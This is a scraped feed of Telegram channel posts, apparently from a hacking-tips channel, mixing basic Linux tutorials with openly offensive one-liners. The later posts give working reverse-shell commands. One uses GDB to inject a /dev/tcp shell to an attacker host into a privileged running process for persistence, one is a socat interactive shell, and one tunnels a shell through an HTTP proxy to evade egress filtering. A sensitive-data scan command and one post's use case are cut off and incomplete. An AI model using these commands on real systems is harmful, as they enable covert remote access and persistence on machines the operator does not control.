The Exploit Lab
700 subscribers
179 photos
3 videos
46 files
4.93K links
| Ethical Hacking Tools |
Download Telegram
πŸ“‚ File Navigation in Linux

πŸ”‘ Key Commands
ls - List directory contents
cd - Change directory
pwd - Show current path
tree - Display directory structure
history - View command history

πŸ§ͺ Task of the Day
cd /
ls
cd etc
pwd
cd ~
ls -la


Install and use tree:
sudo apt install tree
tree /home


πŸ” Linux Directory Breakdown
/etc - Configuration files
/var - Logs, web files, variable data
/home - User directories
/tmp - Temporary storage
/root - Root user home

⚠️ Security Note:
These directories are often involved in privilege escalation or persistence in real-world attacks.

#Linux #Terminal #CyberSecurity
πŸ” File Permission Breakdown

ls -l example:
-rwxr-xr-- 1 user group 1337 Jan 1 exploit.sh


- = file (d=dir, l=symlink)
rwx = owner: read, write, execute
r-x = group: read, execute
r-- = others: read only

🧠 Permission Notation
rwxr-xr-- = 754
rwxrwxrwx = 777 (dangerous!)

πŸ”§ Commands
chmod +x file
chmod 755 file
chown user:group file


πŸ§ͺ Task of the Day
echo 'echo hacked' > test.sh
chmod +x test.sh
./test.sh
chmod 777 test.sh
ls -l
sudo chown root:root test.sh


🚩 Real-World Hacking
πŸ”₯ Root-owned script + group-writable = escalation
πŸ”₯ Misconfigured crontabs = root shell
πŸ”₯ Permissions = hacker's tool

πŸ‘‰ https://t.me/TheExploitLabX

#Linux #Permissions #CyberSecurity
πŸ” Discover Open Ports & Services on Your Linux System!

Ever wondered what services are listening on your machine? This one-liner does the trick:

ss -tlpn | awk 'NR>1 {gsub(/.*:/,"",$4); split($7,p,","); print $4, p[2]}' | sort -n | uniq

What it does:
- ss -tlpn: Lists all TCP/UDP listening ports and processes.
- awk: Extracts the port number and process name.
- sort -n | uniq: Sorts and removes duplicates for a clean output.

πŸ“’ Follow for more Linux tips & cybersecurity insights!
πŸ”— Twitter
πŸ”— Telegram
πŸ”— YouTube

#Linux #Cybersecurity #Networking #TheExploitLab
🚨 Top 5 IP Addresses Attempting SSH Brute Force Attacks!

Ever wondered who's trying to brute force your SSH server? This one-liner extracts the top 5 IP addresses with failed password attempts from your /var/log/auth.log:


sudo grep "Failed password" /var/log/auth.log 2>/dev/null | grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}" | sort | uniq -c | sort -rn | head -5


How it works:
1. grep "Failed password" β†’ Filters failed login attempts.
2. grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}" β†’ Extracts IP addresses.
3. sort | uniq -c | sort -rn β†’ Counts and sorts IPs by frequency.
4. head -5 β†’ Shows the top 5 offenders.

πŸ” Why monitor this?
- Identify malicious IPs targeting your server.
- Block them using iptables or fail2ban.

πŸ“’ Stay updated with more security tips:
🐦 X (Twitter)
πŸ“Ί YouTube
πŸ’¬ Telegram

#CyberSecurity #SSH #Linux #TheExploitLab
πŸ” Top Memory Consumers on Your Linux System

Ever wondered which users are hogging the most RAM on your Linux machine? This one-liner breaks it down for you:

ps -eo user:20,rss | awk 'NR>1{m[$1]+=$2}END{for(u in m)printf"%s:%.2fGB\n",u,m[u]/1024/1024}'|sort -rnk2|head

What it does:
- Lists all users and their total memory usage in GB.
- Sorts them from highest to lowest.
- Shows only the top 10 memory consumers.

Why it’s useful:
βœ… Quickly identify resource-heavy users.
βœ… Helpful for server admins and troubleshooting.
βœ… No extra tools neededβ€”just pure Bash!

πŸ“’ Follow for more Linux tips & tricks:
🐦 Twitter
πŸ“Œ Telegram
πŸŽ₯ YouTube

#Linux #SysAdmin #Bash #CommandLine #TheExploitLab
🐧 Inject Reverse Shell into Live Process
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
Injects a reverse shell into a running process using GDB, allowing remote code execution and persistence.

πŸ“‹ Command:
gdb -p <target_PID> -ex 'call (void)system("bash -i >& /dev/tcp/<attacker_IP>/<attacker_port> 0>&1")' -ex 'detach' -ex 'quit'

πŸ’‘ Use Case: During post-exploitation, inject a reverse shell into a long-running, privileged process (e.g., a web server or database process) to maintain access or escalate privileges without leaving new files on disk.

🚩 Flags:
┃ -p <PID>: Attach GDB to a running process specified by its Process ID.
┃ -ex '<command>': Execute the specified GDB command non-interactively.
┃ call (void)system(...): Invoke the `system()` function within the target process's context to execute a shell command.
┃ detach: Detach GDB from the target process, allowing it to continue execution unaffected.
┃ quit: Exit the GDB debugger after executing commands.

β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
#Linux #CommandLine #SysAdmin #Hacking #Kali
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
πŸ• 03 Mar 2026 β€’ 17:22 | @TheExploitLabX
🐧 Socat Interactive Reverse Shell
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
Establishes a fully interactive reverse shell over TCP to an attacker's listener.

πŸ“‹ Command:
socat TCP:<ATTACKER_IP>:<ATTACKER_PORT> EXEC:'bash -li',pty,stderr,setsid,sigint,sane

πŸ’‘ Use Case: Gaining an interactive TTY shell on a compromised Linux machine from an attacker's listener (e.g., `socat -d -d TCP-LISTEN:<ATTACKER_PORT> PTY,raw,echo=0,stderr`).

🚩 Flags:
┃ TCP:<IP>:<PORT>: Specifies the TCP connection target (attacker's IP and port).
┃ EXEC:'bash -li': Executes `/bin/bash` in login interactive mode for the shell.
┃ pty: Allocates a pseudo-terminal for a fully interactive shell experience.
┃ stderr: Redirects standard error to the network connection.
┃ setsid: Creates a new session ID, detaching the process from the parent.
┃ sigint: Forwards Ctrl+C (SIGINT) signals to the spawned shell.
┃ sane: Resets terminal settings to a standard, functional state.

β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
#Linux #CommandLine #SysAdmin #Hacking #Kali
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
πŸ• 03 Mar 2026 β€’ 17:29 | @TheExploitLabX
🐧 Web Root Sensitive Data Scan
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
Recursively searches a web root for common sensitive data patterns within various file types.

πŸ“‹ Command:
find /var/www/html -type f \( -name "*.php" -o -name "*.js" -o -name "*.txt" -o -name "*.conf


β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
#Linux #CommandLine #SysAdmin #Hacking #Kali
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
πŸ• 03 Mar 2026 β€’ 17:31 | @TheExploitLabX
🐧 Proxy Reverse Shell Magic
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
Establishes an interactive reverse shell through an HTTP proxy to bypass network egress filtering.

πŸ“‹ Command:
socat TCP:proxy.example.com:8080 PROXY:attacker_ip:4444,proxytype=http EXEC:'/bin/bash -li

πŸ’‘ Use Case:

β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
#Linux #CommandLine #SysAdmin #Hacking #Kali
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
πŸ• 03 Mar 2026 β€’ 18:49 | @TheExploitLabX
πŸš€ Meet wifit3 β€” Cross-Platform Wi-Fi Security Auditing Tool

Looking for a powerful open-source wireless security tool? πŸ‘€

πŸ” What is wifit3?
wifit3 is a Python-based USB Wi-Fi auditing tool designed to run on Windows, Linux, and macOS using compatible USB wireless adapters.

πŸ”₯ Key Features
πŸ“‘ Real-time Wi-Fi scanning and signal tracking
πŸ–₯ Multi-adapter support
πŸ” WPA/WPA2 handshake capture support
πŸ›‘ PMKID collection and WPS security testing
πŸ“Ά Wireless security analysis and legacy WEP testing
βš™οΈ Built-in user-space wireless drivers
πŸ’» Prebuilt releases available for supported platforms

πŸ“₯ GitHub Repository
https://github.com/derv82/wifit3

⬇️ Download Latest Releases
Get wifit3 here

⚠️ Requirements & Safety
A compatible USB Wi-Fi adapter is required. Use this tool only on networks and devices you own or have explicit permission to audit.

πŸ’‘ Explore the code, check the supported hardware list, and learn more from the official repository!

#CyberSecurity #EthicalHacking #WiFiSecurity #Python #Linux #OpenSource #InfoSec